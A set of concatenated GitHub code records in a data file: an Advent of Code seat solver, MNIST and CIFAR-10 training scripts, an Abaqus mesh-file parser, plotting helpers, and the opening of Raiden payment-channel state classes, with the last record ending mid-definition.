+{"seq_id":"525608449","text":"import math\n\ndef search(s, minimum, maximum):\n mi = minimum\n ma = maximum\n for c in s:\n if(c == 'L' or c == 'F'): \n ma = ma - math.floor((ma - mi)/2)\n else:\n mi = mi + math.ceil((ma - mi)/2)\n return mi\ndef findMySeat(a):\n a.sort()\n i = 1\n while(i < len(a) -1):\n if(a[i+1] != a[i]+1):\n # assuming there is only 1 open seat\n return a[i] + 1\n i = i + 1\nif __name__ == \"__main__\":\n with open('input.txt', 'r') as f:\n sids = []\n for l in f:\n r = l.strip()[:7]\n s = l.strip()[7:]\n row = search(r, 0 , 127)\n seat = search(s, 0, 7)\n sids.append(row * 8 + seat)\n print(f\"Max seat number is {max(sids)}\")\n print(f\"My seat is {findMySeat(sids)}\")\n\n \n ","repo_name":"mrgator85/AdventOfCode","sub_path":"2020/day5/day5.py","file_name":"day5.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"6534336773","text":"import tensorflow as tf\nfrom tensorflow import keras\n\n(X_train, y_train),(X_test, y_test) = keras.datasets.mnist.load_data()\n\nprint(X_train.shape)\nprint(X_test.shape)\n \nX_train = X_train.reshape([X_train.shape[0], 28, 28, 1])\nX_test = X_test.reshape([X_test.shape[0], 28, 28, 1])\nX_train = X_train/255.0\nX_test = X_test/255.0\n \ny_train = keras.utils.to_categorical(y_train)\ny_test = keras.utils.to_categorical(y_test)\n\nmodel = keras.Sequential([\n keras.layers.Conv2D(32, (5, 5), padding=\"same\", input_shape=[28, 28, 1]),\n keras.layers.MaxPool2D((2,2)),\n keras.layers.Conv2D(64, (5, 5), padding=\"same\"),\n keras.layers.MaxPool2D((2,2)),\n keras.layers.Flatten(),\n keras.layers.Dense(1024, activation='relu'),\n keras.layers.Dropout(0.2),\n keras.layers.Dense(10, activation='softmax')\n])\nmodel.compile(optimizer='adam', loss='categorical_crossentropy', metrics=['accuracy'])\n\nmodel.fit(X_train, y_train, validation_data=(X_test, y_test), epochs=10)\ntest_loss,test_acc = model.evaluate(X_test, y_test)\nprint('Test accuracy:', test_acc)\n\nmodel.save(\"model.h5\")","repo_name":"shin-iji/digit-reg-tfjs","sub_path":"model/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"16680381968","text":"from __future__ import print_function\r\nimport argparse\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nimport torch.optim as optim\r\nimport torchvision\r\nfrom torchvision import datasets, transforms\r\nfrom torch.optim.lr_scheduler import StepLR\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.lines import Line2D\r\nfrom utils import progress_bar\r\nfrom models import *\r\n\r\n#This is a branch\r\nclass FakeReLU(torch.autograd.Function):\r\n @staticmethod\r\n def forward(ctx, x):\r\n ctx.save_for_backward(x)\r\n return x.clamp(min=0)\r\n @staticmethod\r\n def backward(ctx, grad_output):\r\n x, = ctx.saved_tensors\r\n grad_x = grad_output.clone()\r\n #grad_x[x < 0] = 0\r\n return grad_x\r\n\r\ndef plot_grad_flow(named_parameters, epoch, batch_idx, model, imageCounter):\r\n # Plots the gradients flowing through different layers in the net during training.\r\n # Can be used for checking for possible gradient vanishing / exploding problems.\r\n ave_grads = []\r\n layers = []\r\n for n, p in named_parameters:\r\n if(p.requires_grad) and (\"bias\" not in n):\r\n layers.append(n)\r\n ave_grads.append(p.grad.abs().mean())\r\n \r\n if imageCounter == 0:\r\n plt.hlines(0, 0, len(ave_grads)+1, linewidth=1, color=\"k\" )\r\n plt.xticks(range(0,len(ave_grads), 1), layers, rotation=\"vertical\")\r\n plt.xlim(xmin=0, xmax=len(ave_grads))\r\n plt.xlabel(\"Layers\")\r\n plt.ylabel(\"average gradient\")\r\n plt.title(\"Gradient flow\")\r\n plt.grid(True)\r\n\r\n line = plt.plot(ave_grads, alpha=0.3, color=\"r\")\r\n if imageCounter % 50 == 0:\r\n plt.savefig('epoch{}batch{}number{}.png'.format(epoch, batch_idx, imageCounter))\r\n plt.setp(line[0], color = 'black')\r\n imageCounter += 1\r\n return imageCounter\r\n\r\ncriterion = nn.CrossEntropyLoss()\r\n\r\ndef train(args, model, device, train_loader, optimizer, epoch):\r\n imageCounter = 0\r\n train_loss = 0\r\n correct = 0\r\n total = 0\r\n model.train()\r\n for batch_idx, (data, target) in enumerate(train_loader):\r\n data, target = data.to(device), target.to(device)\r\n optimizer.zero_grad()\r\n output = model(data)\r\n loss = criterion(output, target)\r\n loss.backward()\r\n #imageCounter = plot_grad_flow(model.named_parameters(), epoch, batch_idx, model, imageCounter)\r\n optimizer.step()\r\n\r\n train_loss += loss.item()\r\n _, predicted = output.max(1)\r\n total += target.size(0)\r\n correct += predicted.eq(target).sum().item()\r\n\r\n progress_bar(batch_idx, len(train_loader), 'Loss: %.3f | Acc: %.3f%% (%d/%d)'\r\n % (train_loss/(batch_idx+1), 100.*correct/total, correct, total))\r\n\r\n\r\ndef test(model, device, test_loader):\r\n model.eval()\r\n test_loss = 0\r\n correct = 0\r\n total = 0\r\n with torch.no_grad():\r\n for batch_idx, (data, target) in enumerate(test_loader):\r\n data, target = data.to(device), target.to(device)\r\n output = model(data)\r\n test_loss += criterion(output, target).item() # sum up batch loss\r\n pred = output.argmax(dim=1, keepdim=True) # get the index of the max log-probability\r\n total += target.size(0)\r\n correct += pred.eq(target.view_as(pred)).sum().item()\r\n\r\n test_loss /= len(test_loader.dataset)\r\n\r\n progress_bar(batch_idx, len(test_loader), 'Loss: %.3f | Acc: %.3f%% (%d/%d)'\r\n % (test_loss/(batch_idx+1), 100.*correct/total, correct, total))\r\n\r\ndef main():\r\n # Training settings\r\n parser = argparse.ArgumentParser(description='PyTorch MNIST Example')\r\n parser.add_argument('--batch-size', type=int, default=64, metavar='N',\r\n help='input batch size for training (default: 64)')\r\n parser.add_argument('--test-batch-size', type=int, default=1000, metavar='N',\r\n help='input batch size for testing (default: 1000)')\r\n parser.add_argument('--epochs', type=int, default=200, metavar='N',\r\n help='number of epochs to train (default: 14)')\r\n parser.add_argument('--lr', type=float, default=0.1, metavar='LR',\r\n help='learning rate (default: 1.0)')\r\n parser.add_argument('--gamma', type=float, default=0.7, metavar='M',\r\n help='Learning rate step gamma (default: 0.7)')\r\n parser.add_argument('--no-cuda', action='store_true', default=False,\r\n help='disables CUDA training')\r\n parser.add_argument('--seed', type=int, default=1, metavar='S',\r\n help='random seed (default: 1)')\r\n parser.add_argument('--log-interval', type=int, default=100, metavar='N',\r\n help='how many batches to wait before logging training status')\r\n parser.add_argument('--momentum', type=float, default=0.5, metavar='M',\r\n help='SGD momentum (default: 0.5)')\r\n parser.add_argument('--save-model', action='store_true', default=False,\r\n help='For Saving the current Model')\r\n args = parser.parse_args()\r\n\r\n use_cuda = not args.no_cuda and torch.cuda.is_available()\r\n torch.manual_seed(args.seed)\r\n device = torch.device(\"cuda\" if use_cuda else \"cpu\")\r\n kwargs = {'num_workers': 1, 'pin_memory': True} if use_cuda else {}\r\n\r\n # Data\r\n print('==> Preparing data..')\r\n transform_train = transforms.Compose([\r\n transforms.RandomCrop(32, padding=4),\r\n transforms.RandomHorizontalFlip(),\r\n transforms.ToTensor(),\r\n transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),\r\n ])\r\n\r\n transform_test = transforms.Compose([\r\n transforms.ToTensor(),\r\n transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),\r\n ])\r\n\r\n trainset = torchvision.datasets.CIFAR10(\r\n root='./data', train=True, download=True, transform=transform_train)\r\n train_loader = torch.utils.data.DataLoader(\r\n trainset, batch_size=128, shuffle=True, num_workers=2)\r\n\r\n testset = torchvision.datasets.CIFAR10(\r\n root='./data', train=False, download=True, transform=transform_test)\r\n test_loader = torch.utils.data.DataLoader(\r\n testset, batch_size=100, shuffle=False, num_workers=2)\r\n\r\n classes = ('plane', 'car', 'bird', 'cat', 'deer',\r\n 'dog', 'frog', 'horse', 'ship', 'truck')\r\n \r\n print('==> Building model..')\r\n model = ResNet18()\r\n model = model.to(device)\r\n \r\n #optimizer = optim.Adadelta(model.parameters(), lr=args.lr)\r\n optimizer = optim.SGD(model.parameters(), lr=args.lr,\r\n momentum=0.9, weight_decay=5e-4)\r\n #scheduler = StepLR(optimizer, step_size=1, gamma=args.gamma)\r\n\r\n for epoch in range(1, args.epochs + 1):\r\n train(args, model, device, train_loader, optimizer, epoch)\r\n test(model, device, test_loader)\r\n #scheduler.step()\r\n\r\n if args.save_model:\r\n torch.save(model.state_dict(), \"mnist_cnn.pt\")\r\n\r\n\r\nif __name__ == '__main__':\r\n main()","repo_name":"GustavKlint/GusNNsLab","sub_path":"CIFARMainDriver.py","file_name":"CIFARMainDriver.py","file_ext":"py","file_size_in_byte":7086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"16036436283","text":"#!/usr/bin/env python3\r\n\r\nimport sys\r\nimport re\r\n\r\nimport numpy as np\r\nfrom scipy.sparse import coo_matrix\r\nfrom .dataset import *\r\n\r\n\r\n__all__ = ['AbaqusInputFile', 'read_matrix_coordinate']\r\n\r\n\r\nclass AbaqusInputFile:\r\n \"\"\"Interpreter of abaqus input file.\r\n \r\n This class can only process inp files with only one part at present. Users\r\n may use the \"Create Mesh Part\" function to generate the mesh into a new \r\n model in the Abaqus CAE to generate this type of inp file. The nodes and\r\n elements of the model can then be extracted by using this class and \r\n elements of different types can be seperated automatically.\r\n \r\n Parameters\r\n ----------\r\n stream: stream\r\n The input inp file stream.\r\n \r\n \"\"\"\r\n \r\n \r\n def __init__(self, stream):\r\n self._nodes = []\r\n self._element_types = []\r\n self._elements = []\r\n\r\n self._identifier_node = re.compile('\\*node(?!\\s*\\w)',re.IGNORECASE)\r\n self._identifier_element = re.compile('\\*element(?!\\s*\\w)',re.IGNORECASE)\r\n self._identifier_comment = re.compile('\\*\\*',re.IGNORECASE)\r\n self._identifier = re.compile('\\*\\w',re.IGNORECASE)\r\n self._pattern_type = re.compile('(?<=type=)\\w+',re.IGNORECASE)\r\n self._pattern_digit = re.compile('-?\\d+(\\.\\d*)?(e-?\\d+)?',re.IGNORECASE)\r\n self._pattern_integer = re.compile('\\d+',re.IGNORECASE)\r\n\r\n self._read(stream)\r\n\r\n self._nodes = np.array(self._nodes, dtype=float)\r\n self._elements = [np.array(i, dtype=int)-1 for i in self._elements]\r\n\r\n def _read(self, stream):\r\n status = 'unknown'\r\n line_number = 0\r\n for line in stream:\r\n line_number += 1\r\n # print(line_number, line,sep='\\t', end='')\r\n if re.match(self._identifier_node,line):\r\n status = 'node'\r\n continue\r\n if re.match(self._identifier_element,line):\r\n status = 'element'\r\n self._process_element_identifier(line)\r\n continue\r\n if re.match(self._identifier,line):\r\n status = 'unknown'\r\n continue\r\n if re.match(self._identifier_comment,line):\r\n continue\r\n\r\n try:\r\n self._process_line(line, status)\r\n except Exception:\r\n sys.displayhook(sys.exc_info())\r\n sys.stderr.write('Error when processing line {line_number}\\n'\r\n .format(line_number=line_number))\r\n sys.stderr.write(line+'\\n')\r\n res = input('Continue?(Y/N)')\r\n if res.upper() == 'Y':\r\n continue\r\n else:\r\n raise\r\n\r\n def _process_element_identifier(self,line):\r\n res = re.search(self._pattern_type,line)\r\n if res is None:\r\n element_type = 'Unknown'\r\n else:\r\n element_type = res.group()\r\n self._element_types.append(element_type)\r\n self._elements.append([])\r\n\r\n\r\n def _process_line(self, line, status):\r\n if status == 'node':\r\n self._process_node(line)\r\n elif status == 'element':\r\n self._process_element(line)\r\n\r\n def _process_node(self,line):\r\n pattern_digit = self._pattern_digit\r\n # it seems re.findall do not work with ()\r\n coordinate = [i.group() for i in re.finditer(pattern_digit,line)][1:]\r\n assert len(coordinate) == 3, \"Number of coordinates is not 3!\"\r\n self.nodes.append([float(i) for i in coordinate])\r\n\r\n def _process_element(self,line):\r\n pattern_integer = self._pattern_integer\r\n nodeID = re.findall(pattern_integer,line)[1:]\r\n self.elements[-1].append([int(i) for i in nodeID])\r\n\r\n def get_nodes(self):\r\n \"\"\"Return the nodes of the model.\"\"\"\r\n return self._nodes\r\n\r\n def get_elements(self):\r\n \"\"\"Return the elements of the model.\r\n \r\n \r\n A list with the node indexes of the mesh returned. The node indexes are\r\n stored in numpy arrays and the index of nodes starts from 0.\r\n \r\n Returns\r\n -------\r\n elements: list\r\n The nodes of the elements. \r\n \"\"\"\r\n # index of nodes starts from 0\r\n return self._elements\r\n\r\n def get_element_types(self):\r\n \"\"\"Return the element types of the model.\r\n \r\n A list containing the names of the mesh elements is returned.\r\n \r\n Returns\r\n -------\r\n element_types: list\r\n The types of the elements.\r\n \"\"\"\r\n # index of nodes starts from 0\r\n return self._element_types\r\n\r\n @property\r\n def element_types(self):\r\n \"\"\"List of the element types.\"\"\"\r\n return self._element_types\r\n\r\n @property\r\n def elements(self):\r\n \"\"\"List of element nodes\"\"\"\r\n return self._elements\r\n @property\r\n def nodes(self):\r\n \"\"\"List of nodes\"\"\"\r\n return self._nodes\r\n \r\n def to_dataset(self, title=''):\r\n \"\"\"Convert the representation of nodes and elements to `Dataset`.\"\"\"\r\n points = [Point(i) for i in self._nodes]\r\n ds = DataSet(points, title=title)\r\n cells = []\r\n for i, elements in enumerate(self._elements[:2]):\r\n et = self._element_types[i]\r\n if et == 'S4R' or et == 'S4':\r\n cell_type = 9\r\n elif et == 'B31':\r\n cell_type = 3\r\n else:\r\n cell_type = 0\r\n cells = [Cell(p, cell_type) for p in elements]\r\n ds.cells.extend(cells)\r\n return ds\r\n \r\n \r\n \r\n\r\ndef read_matrix_coordinate(filename, M=None, N=None):\r\n \"\"\"Read sparse matrix from abaqus output.\r\n \r\n Each column of the file contains three numbers, which are the index of row,\r\n the index of column and the element in the corresponding position. The\r\n indexes begin form 1 and the dimensions of the matrix can be defined by\r\n extra arguments M and N.\r\n \r\n Parameters\r\n ----------\r\n filename: string\r\n Name of the file to read. (usually ends with .mtx for abaqus output)\r\n M: int\r\n The number of rows of the sparse matrix.\r\n N: int\r\n The number of columns of the sparse matrix.\r\n \r\n Returns\r\n -------\r\n mat: sparse.coo_matrix\r\n A sparse matrix object. \r\n \"\"\"\r\n\r\n file = open(filename)\r\n data = []\r\n i, j = [], []\r\n for line in file:\r\n ix_i, ix_j, data_ij = [eval(i) for i in line.split()]\r\n data.append(data_ij)\r\n i.append(ix_i-1)\r\n j.append(ix_j-1)\r\n M = max(i)+1 if M is None else M\r\n N = max(j)+1 if N is None else N\r\n mat = coo_matrix((data, (i, j)), shape=(M, N))\r\n return mat\r\n\r\n\r\nif __name__ == '__main__':\r\n with open('Job-1.inp') as file:\r\n ip=AbaqusInputFile(file)\r\n with open('test-1.vtk', 'w') as file:\r\n ds = ip.to_dataset()\r\n file.write(dumpvtk(ds))\r\n \r\n\r\n","repo_name":"Zhen-Ni/FEM","sub_path":"fem/abaqus.py","file_name":"abaqus.py","file_ext":"py","file_size_in_byte":7080,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"53"}
+{"seq_id":"70782654567","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# File : Quadrocopter_plot.py\n# Author : Duy Anh Pham \n# Date : 29.10.2019\n# Last Modified By: Duy Anh Pham \n\nimport matplotlib.pyplot as plt\nfrom matplotlib.ticker import MaxNLocator\n\n\ndef Plot_init_figure_monitor(interactive=True):\n # You probably won't need this if you're embedding things in a tkinter plot...\n if interactive:\n plt.ion() # interactive mode\n return plt.figure()\n\n\ndef Plot_figure_update(fig):\n # fig.canvas.draw()\n fig.canvas.update()\n fig.canvas.flush_events()\n\n\ndef Plot_set_axis(plot, xlim, ylim, xlabel, ylabel, title, xticks_whole_number=False):\n plot.set_ylim(ylim)\n plot.set_ylabel(ylabel)\n plot.set_xlim(xlim)\n plot.set_xlabel(xlabel)\n if xticks_whole_number:\n plot.xaxis.set_major_locator(\n MaxNLocator(integer=True)) # set xticks interger only\n plot.set_title(title)\n\n# line format '[marker][line][color]'\n\n\ndef Plot_add_line(plot, x_array, y_array, line_format):\n # Returns a tuple of line objects, thus the comma\n return plot.plot(x_array, y_array, line_format)\n\n\ndef Plot_add_text(plot, box_align_x, box_align_y, text_str, text_align_horizontal, text_align_vertical):\n return plot.text(box_align_x,\n box_align_y,\n text_str,\n horizontalalignment=text_align_horizontal,\n verticalalignment=text_align_vertical,\n transform=plot.transAxes)\n","repo_name":"duyanh-y4n/Pi_SENSORIK_W19","sub_path":"Quadrocopter_plot.py","file_name":"Quadrocopter_plot.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"27337997944","text":"# pylint: disable=too-few-public-methods,too-many-arguments,too-many-instance-attributes\nimport random\nfrom collections import defaultdict\nfrom dataclasses import dataclass, field\nfrom random import Random\nfrom typing import TYPE_CHECKING, Tuple\n\nimport networkx\n\nfrom raiden.constants import (\n EMPTY_LOCK_HASH,\n EMPTY_MERKLE_ROOT,\n EMPTY_SECRETHASH,\n UINT64_MAX,\n UINT256_MAX,\n)\nfrom raiden.encoding import messages\nfrom raiden.encoding.format import buffer_for\nfrom raiden.transfer.architecture import (\n BalanceProofSignedState,\n BalanceProofUnsignedState,\n ContractSendEvent,\n SendMessageEvent,\n State,\n TransferTask,\n)\nfrom raiden.transfer.identifiers import CanonicalIdentifier, QueueIdentifier\nfrom raiden.utils import lpex, pex, sha3\nfrom raiden.utils.typing import (\n Address,\n Any,\n Balance,\n BlockExpiration,\n BlockHash,\n BlockNumber,\n BlockTimeout,\n ChainID,\n ChannelID,\n Dict,\n EncodedData,\n FeeAmount,\n Keccak256,\n List,\n LockHash,\n Locksroot,\n MessageID,\n Optional,\n PaymentNetworkAddress,\n PaymentWithFeeAmount,\n Secret,\n SecretHash,\n T_Address,\n T_BlockHash,\n T_BlockNumber,\n T_ChainID,\n T_ChannelID,\n T_Keccak256,\n T_PaymentWithFeeAmount,\n T_Secret,\n T_TokenAmount,\n TokenAddress,\n TokenAmount,\n TokenNetworkAddress,\n Union,\n)\n\nif TYPE_CHECKING:\n # pylint: disable=unused-import\n from messages import EnvelopeMessage\n\n\nQueueIdsToQueues = Dict[QueueIdentifier, List[SendMessageEvent]]\n\nCHANNEL_STATE_CLOSED = \"closed\"\nCHANNEL_STATE_CLOSING = \"waiting_for_close\"\nCHANNEL_STATE_OPENED = \"opened\"\nCHANNEL_STATE_SETTLED = \"settled\"\nCHANNEL_STATE_SETTLING = \"waiting_for_settle\"\nCHANNEL_STATE_UNUSABLE = \"channel_unusable\"\n\nCHANNEL_ALL_VALID_STATES = (\n CHANNEL_STATE_CLOSED,\n CHANNEL_STATE_CLOSING,\n CHANNEL_STATE_OPENED,\n CHANNEL_STATE_SETTLED,\n CHANNEL_STATE_SETTLING,\n CHANNEL_STATE_UNUSABLE,\n)\n\nCHANNEL_STATES_PRIOR_TO_CLOSED = (CHANNEL_STATE_OPENED, CHANNEL_STATE_CLOSING)\n\nCHANNEL_AFTER_CLOSE_STATES = (CHANNEL_STATE_CLOSED, CHANNEL_STATE_SETTLING, CHANNEL_STATE_SETTLED)\n\nNODE_NETWORK_UNKNOWN = \"unknown\"\nNODE_NETWORK_UNREACHABLE = \"unreachable\"\nNODE_NETWORK_REACHABLE = \"reachable\"\n\n\ndef balanceproof_from_envelope(envelope_message: \"EnvelopeMessage\",) -> \"BalanceProofSignedState\":\n return BalanceProofSignedState(\n nonce=envelope_message.nonce,\n transferred_amount=envelope_message.transferred_amount,\n locked_amount=envelope_message.locked_amount,\n locksroot=envelope_message.locksroot,\n message_hash=envelope_message.message_hash,\n signature=envelope_message.signature,\n sender=envelope_message.sender,\n canonical_identifier=CanonicalIdentifier(\n chain_identifier=envelope_message.chain_id,\n token_network_address=envelope_message.token_network_address,\n channel_identifier=envelope_message.channel_identifier,\n ),\n )\n\n\ndef make_empty_merkle_tree() -> \"MerkleTreeState\":\n return MerkleTreeState(\n [[], [Keccak256(EMPTY_MERKLE_ROOT)]] # the leaves are empty # the root is the constant 0\n )\n\n\ndef message_identifier_from_prng(prng: Random) -> MessageID:\n return MessageID(prng.randint(0, UINT64_MAX))\n\n\ndef to_comparable_graph(network: networkx.Graph) -> List[List[Any]]:\n return sorted(sorted(edge) for edge in network.edges())\n\n\n@dataclass\nclass PaymentMappingState(State):\n \"\"\" Global map from secrethash to a transfer task.\n This mapping is used to quickly dispatch state changes by secrethash, for\n those that dont have a balance proof, e.g. SecretReveal.\n This mapping forces one task per secrethash, assuming that secrethash collision\n is unlikely. Features like token swaps, that span multiple networks, must\n be encapsulated in a single task to work with this structure.\n \"\"\"\n\n # Because of retries, there may be multiple transfers for the same payment,\n # IOW there may be more than one task for the same transfer identifier. For\n # this reason the mapping uses the secrethash as key.\n #\n # Because token swaps span multiple token networks, the state of the\n # payment task is kept in this mapping, instead of inside an arbitrary\n # token network.\n secrethashes_to_task: Dict[SecretHash, TransferTask] = field(repr=False, default_factory=dict)\n\n\n# This is necessary for the routing only, maybe it should be transient state\n# outside of the state tree.\n@dataclass(repr=False)\nclass TokenNetworkGraphState(State):\n \"\"\" Stores the existing channels in the channel manager contract, used for\n route finding.\n \"\"\"\n\n token_network_address: TokenNetworkAddress\n network: networkx.Graph = field(repr=False, default_factory=networkx.Graph)\n channel_identifier_to_participants: Dict[ChannelID, Tuple[Address, Address]] = field(\n repr=False, default_factory=dict\n )\n\n def __repr__(self):\n # pylint: disable=no-member\n return \"TokenNetworkGraphState(num_edges:{})\".format(len(self.network.edges))\n\n\n@dataclass\nclass RouteState(State):\n \"\"\" A possible route provided by a routing service.\n\n Args:\n node_address: The address of the next_hop.\n channel_identifier: The channel identifier.\n \"\"\"\n\n node_address: Address\n channel_identifier: ChannelID\n\n def __post_init__(self) -> None:\n if not isinstance(self.node_address, T_Address):\n raise ValueError(\"node_address must be an address instance\")\n\n\n@dataclass\nclass HashTimeLockState(State):\n \"\"\" Represents a hash time lock. \"\"\"\n\n amount: PaymentWithFeeAmount\n expiration: BlockExpiration\n secrethash: SecretHash\n encoded: EncodedData = field(init=False, repr=False)\n lockhash: LockHash = field(repr=False, default=EMPTY_LOCK_HASH)\n\n def __post_init__(self) -> None:\n if not isinstance(self.amount, T_PaymentWithFeeAmount):\n raise ValueError(\"amount must be a PaymentWithFeeAmount instance\")\n\n if not isinstance(self.expiration, T_BlockNumber):\n raise ValueError(\"expiration must be a BlockNumber instance\")\n\n if not isinstance(self.secrethash, T_Keccak256):\n raise ValueError(\"secrethash must be a Keccak256 instance\")\n\n packed = messages.Lock(buffer_for(messages.Lock))\n # pylint: disable=assigning-non-slot\n packed.amount = self.amount\n packed.expiration = self.expiration\n packed.secrethash = self.secrethash\n\n self.encoded = EncodedData(packed.data)\n\n self.lockhash = LockHash(sha3(self.encoded))\n\n\n@dataclass\nclass UnlockPartialProofState(State):\n \"\"\" Stores the lock along with its unlocking secret. \"\"\"\n\n lock: HashTimeLockState\n secret: Secret = field(repr=False)\n amount: PaymentWithFeeAmount = field(repr=False, default=PaymentWithFeeAmount(0))\n expiration: BlockExpiration = field(repr=False, default=BlockExpiration(0))\n secrethash: SecretHash = field(repr=False, default=EMPTY_SECRETHASH)\n encoded: EncodedData = field(init=False, repr=False)\n lockhash: LockHash = field(repr=False, default=EMPTY_LOCK_HASH)\n\n def __post_init__(self) -> None:\n if not isinstance(self.lock, HashTimeLockState):\n raise ValueError(\"lock must be a HashTimeLockState instance\")\n\n if not isinstance(self.secret, T_Secret):\n raise ValueError(\"secret must be a secret instance\")\n\n self.amount = self.lock.amount\n self.expiration = self.lock.expiration\n self.secrethash = self.lock.secrethash\n self.encoded = self.lock.encoded\n self.lockhash = self.lock.lockhash\n\n\n@dataclass\nclass UnlockProofState(State):\n \"\"\" An unlock proof for a given lock. \"\"\"\n\n merkle_proof: List[Keccak256]\n lock_encoded: bytes\n secret: Secret = field(repr=False)\n\n def __post_init__(self):\n if not isinstance(self.secret, T_Secret):\n raise ValueError(\"secret must be a secret instance\")\n\n\n@dataclass\nclass TransactionExecutionStatus(State):\n \"\"\" Represents the status of a transaction. \"\"\"\n\n SUCCESS = \"success\"\n FAILURE = \"failure\"\n VALID_RESULT_VALUES = (SUCCESS, FAILURE)\n\n started_block_number: Optional[BlockNumber] = None\n finished_block_number: Optional[BlockNumber] = None\n result: Optional[str] = None\n\n def __post_init__(self) -> None:\n is_valid_start = self.started_block_number is None or isinstance(\n self.started_block_number, T_BlockNumber\n )\n is_valid_finish = self.finished_block_number is None or isinstance(\n self.finished_block_number, T_BlockNumber\n )\n is_valid_result = self.result is None or self.result in self.VALID_RESULT_VALUES\n is_valid_result = self.result is None or self.result in self.VALID_RESULT_VALUES\n\n if not is_valid_start:\n raise ValueError(\"started_block_number must be None or a block_number\")\n\n if not is_valid_finish:\n raise ValueError(\"finished_block_number must be None or a block_number\")\n\n if not is_valid_result:\n raise ValueError(f\"result must be one of '{self.SUCCESS}', '{self.FAILURE}' or 'None'\")\n\n\n@dataclass\nclass MerkleTreeState(State):\n layers: List[List[Keccak256]]\n\n\n@dataclass(order=True)\nclass TransactionChannelNewBalance(State):\n participant_address: Address\n contract_balance: TokenAmount\n deposit_block_number: BlockNumber\n\n def __post_init__(self) -> None:\n if not isinstance(self.participant_address, T_Address):\n raise ValueError(\"participant_address must be of type address\")\n\n if not isinstance(self.contract_balance, T_TokenAmount):\n raise ValueError(\"contract_balance must be of type token_amount\")\n\n if not isinstance(self.deposit_block_number, T_BlockNumber):\n raise ValueError(\"deposit_block_number must be of type block_number\")\n\n\n@dataclass(order=True)\nclass TransactionOrder(State):\n block_number: BlockNumber\n transaction: TransactionChannelNewBalance\n\n\n@dataclass\nclass NettingChannelEndState(State):\n \"\"\" The state of one of the nodes in a two party netting channel. \"\"\"\n\n address: Address\n contract_balance: Balance\n\n #: Locks which have been introduced with a locked transfer, however the\n #: secret is not known yet\n secrethashes_to_lockedlocks: Dict[SecretHash, HashTimeLockState] = field(\n repr=False, default_factory=dict\n )\n #: Locks for which the secret is known, but the partner has not sent an\n #: unlock off chain yet.\n secrethashes_to_unlockedlocks: Dict[SecretHash, UnlockPartialProofState] = field(\n repr=False, default_factory=dict\n )\n #: Locks for which the secret is known, the partner has not sent an\n #: unlocked off chain yet, and the secret has been registered onchain\n #: before the lock has expired.\n secrethashes_to_onchain_unlockedlocks: Dict[SecretHash, UnlockPartialProofState] = field(\n repr=False, default_factory=dict\n )\n merkletree: MerkleTreeState = field(repr=False, default_factory=make_empty_merkle_tree)\n balance_proof: Optional[Union[BalanceProofSignedState, BalanceProofUnsignedState]] = None\n onchain_locksroot: Locksroot = EMPTY_MERKLE_ROOT\n\n def __post_init__(self) -> None:\n if not isinstance(self.address, T_Address):\n raise ValueError(\"address must be an address instance\")\n\n if not isinstance(self.contract_balance, T_TokenAmount):\n raise ValueError(\"balance must be a token_amount isinstance\")\n\n\n@dataclass\nclass NettingChannelState(State):\n \"\"\" The state of a netting channel. \"\"\"\n\n canonical_identifier: CanonicalIdentifier\n token_address: TokenAddress = field(repr=False)\n payment_network_address: PaymentNetworkAddress = field(repr=False)\n reveal_timeout: BlockTimeout = field(repr=False)\n settle_timeout: BlockTimeout = field(repr=False)\n mediation_fee: FeeAmount = field(repr=False)\n our_state: NettingChannelEndState = field(repr=False)\n partner_state: NettingChannelEndState = field(repr=False)\n open_transaction: TransactionExecutionStatus\n close_transaction: Optional[TransactionExecutionStatus] = None\n settle_transaction: Optional[TransactionExecutionStatus] = None\n update_transaction: Optional[TransactionExecutionStatus] = None\n deposit_transaction_queue: List[TransactionOrder] = field(repr=False, default_factory=list)\n\n def __post_init__(self) -> None:\n if self.reveal_timeout >= self.settle_timeout:\n raise ValueError(\"reveal_timeout must be smaller than settle_timeout\")\n\n if not isinstance(self.reveal_timeout, int) or self.reveal_timeout <= 0:\n raise ValueError(\"reveal_timeout must be a positive integer\")\n\n if not isinstance(self.settle_timeout, int) or self.settle_timeout <= 0:\n raise ValueError(\"settle_timeout must be a positive integer\")\n\n if not isinstance(self.open_transaction, TransactionExecutionStatus):\n raise ValueError(\"open_transaction must be a TransactionExecutionStatus instance\")\n\n if self.open_transaction.result != TransactionExecutionStatus.SUCCESS:\n raise ValueError(\n \"Cannot create a NettingChannelState with a non successfull open_transaction\"\n )\n\n if not isinstance(self.canonical_identifier.channel_identifier, T_ChannelID):\n raise ValueError(\"channel identifier must be of type T_ChannelID\")\n\n if (\n self.canonical_identifier.channel_identifier < 0\n or self.canonical_identifier.channel_identifier > UINT256_MAX\n ):\n raise ValueError(\"channel identifier should be a uint256\")\n\n valid_close_transaction = self.close_transaction is None or isinstance(\n self.close_transaction, TransactionExecutionStatus\n )\n if not valid_close_transaction:\n raise ValueError(\"close_transaction must be a TransactionExecutionStatus instance\")\n\n valid_settle_transaction = self.settle_transaction is None or isinstance(\n self.settle_transaction, TransactionExecutionStatus\n )\n if not valid_settle_transaction:\n raise ValueError(\n \"settle_transaction must be a TransactionExecutionStatus instance or None\"\n )\n\n @property\n def identifier(self) -> ChannelID:\n return self.canonical_identifier.channel_identifier\n\n @property\n def token_network_address(self) -> TokenNetworkAddress:\n return self.canonical_identifier.token_network_address\n\n @property\n def chain_id(self) -> ChainID:\n return self.canonical_identifier.chain_identifier\n\n @property\n def our_total_deposit(self) -> Balance:\n # pylint: disable=E1101\n return self.our_state.contract_balance\n\n @property\n def partner_total_deposit(self) -> Balance:\n # pylint: disable=E1101\n return self.partner_state.contract_balance\n\n\n@dataclass\nclass 